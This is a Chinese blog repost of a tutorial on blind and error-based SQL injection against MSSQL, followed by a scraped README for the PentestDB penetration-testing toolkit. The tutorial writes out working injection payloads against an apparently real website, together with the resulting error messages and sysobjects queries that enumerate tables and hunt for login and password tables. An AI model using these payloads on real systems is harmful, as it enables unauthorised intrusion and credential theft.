活地运用SQL Injection做数据库渗透

活地运用SQL Injection做数据库渗透

文章作者:cawan
信息来源:邪恶八进制安全小组

如何灵活地运用SQL Injection做数据库渗透的一种思路

如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方

www.xxxxx.com/blog.asp?id=4

当加入" ' "符号进行注入测试时,

www.xxxxx.com/blog.asp?id=4'

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int

我们知道它不对" ' "符号进行过滤。再用如下语句测试,

http://www.aquavelvas.com/blog.asp?id=4 and 1=1

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int

好,再来继续测试,

http://www.aquavelvas.com/blog.asp?id=4'%20and%20'1'='1

这次出错讯息不同了,如下

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and '

我们的" ' "符号加对了,再继续测试,

http://www.aquavelvas.com/blog.asp?id=4'%20and%20user>'0

出错信息如下,

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user>'

应该是语法不允许直接回值,是不是不能再继续了呢?想想其他办法,就看user值的长度吧,

http://www.aquavelvas.com/blog.asp?id=4'%20and%20len(user)>'0

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)>'

好,我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话,那语句在逻辑上是错的;而如果出错信息是Incorrect syntax...的话,那语句在逻辑上就是对的。当处理len(user)>0,凭着刚才的想法,我们知道在逻辑上这是对的。

我们试试逻辑上错的语句,

http://www.aquavelvas.com/blog.asp?id=4'%20and%20user%20'1'='2

果然,出错信息是,

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record

从len(user)>0这语法的基础上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是
thomasa。再用db_name()这个function,我们可猜出数据库名。


好了,如何猜表名呢?就先猜表名的长度吧,

就用如下语句,

len(select top 1 name from sysobjects where xtype='U')>10
len(select top 1 name from sysobjects where xtype='U')>9
len(select top 1 name from sysobjects where xtype='U')>8
...

(猜表名的工作是很烦人,建议用perl写个script来玩玩)

再猜表名,

left((select top 1 name from sysobjects where xtype='U'),1)=a
left((select top 1 name from sysobjects where xtype='U'),2)=ab
left((select top 1 name from sysobjects where xtype='U'),3)=abc
...

好了,我们知道第一个表名是'geoipcountrywhois' (知道为什么我建议写个perl script吧!)

再继续猜表名,

len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>10
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>9
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>8
...

left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=b
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=l
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o
....

好第二个表名是blog,之后的表名可用('geoipcountrywhois','blog')来继续猜,然而,这显然不是好办法。为什么我们不进行搜索呢?

如何搜索呢?就用如下的语句吧,

(select count(*) from sysobjects where xtype='U' and name like '%login%')=0
(select count(*) from sysobjects where xtype='U' and name like '%pass%')=0
(select count(*) from sysobjects where xtype='U' and name like '%key%')=0

(记得将" % "这符号换成" %25 "才是正确的输入)

好了,通过逻辑上对或错的判断,我们也可以对数据库进行渗透,不再局限于回弹显示值。

希望这思路能开阔注入技术的演变。

cawan
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PentestDB 1 介绍 本项目用于提供渗透测试的辅助工具、资源文件 1.1 辅助工具 提供轻量级的易扩展的工具,可以快速编写exploit、添加漏洞验证/扫描规则、添加指纹规则、爆破规则等;包含以下功能: Exploit系统。易扩展的exploit系统,能够使用API快速编写exploit,能够批量执行exploit 子域名爆破。爆破子域名,使用域传送、DNS爆破、GoogleHacking进行子域名爆破 C段扫描。C段扫描,支持生成html格式输出文件 服务端应用识别。识别CMS类型、Web服务器、操作系统、WEB中间件等 URI敏感资源爆破。爆破WEB敏感文件,整站备份、配置备份、敏感文件等 社工密码字典生成。根据社工信息生成密码爆破字典 Google Hacking。GoogleHacking,生成URL字典 编解码等功能。支持非常丰富的编解码方式,方便payload编码 1.2 资源文件 各种渗透测试常用的资源文件,包括各种爆破字典、exploit、webshell、攻击payload等 2 安装 从这里下载最新版本,或使用命令 git clone https://github.com/alpha1e0/pentestdb.git clone到本地 PentestDB支持Windows/Linux/MacOS,需使用python 2.6.x 或 2.7.x运行 2.1 解决lxml依赖 项目中的脚本文件依赖于lxml linux系统一般默认安装lxml,如果没有可通过以下方式安装: pip install lxml apt-get install lxml yum install lxml windows可通过以下方式安装lxml: 到这里找到对应系统的安装包,下载到本地 安装安装包,pip install package.whl 2.2 解决nmap依赖 项目中的C段扫描依赖于nmap扫描器 到这里下载nmap相应版本 在windows下需要设置环境变量,让系统能够找到nmap.exe。 3 使用 3.1 常用脚本 项目中的python脚本提供用有用的渗透辅助功能,根目录下的pen.py为脚本入口,另外script目录下也有其他一些脚本。 3.1.1 Exploit系统 pen.py的exploit子命令提供了exploit模块相关操作,exploit模块是一个轻量级的exploit框架,可以编写各种web漏洞的exploit: 搜索exploit信息 增加、删除、修改exploit信息 执行某个exploit 搜索并批量执行exploit exploit保存在项目根目录下的exploit目录下 例如: # 列举、搜索、注册、更新、删除 pen.py exploit -l pen.py exploit -q appName:joomla pen.py exploit --register exploit pen.py exploit --update cms_joomla_3_4_session_object_injection.py pen.py exploit -d "Joomla 1.5~3.4 session对象注入漏洞exploit" pen.py exploit --detail "Joomla 1.5~3.4 session对象注入漏洞exploit" # 执行exploit pen.py exploit -e cms_joomla_3_4_session_object_injection.py -u http://127.0.0.1:1234 --attack pen.py exploit -s appName:joomla -u http://127.0.0.1:1234 --verify pen.py exploit -s appName:joomla -u @url.txt 注:有关exploit模块的详细信息请参考exploit/readme.md 3.1.2 服务端应用识别 pen.py的service子命令提供了服务端应用识别的功能,能够识别服务器信息,包括: 操作系统 web服务器 web中间件 CMS等 例如: pen.py service http://xxx.com # 开启CMS识别加强模式 pen.py service http://xxx.com --cms 3.1.3 社工密码字典生成 pen.py的password子命令提供了根据社工信息生成密码字典的功能,能够设置不同关键字生成密码字典
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值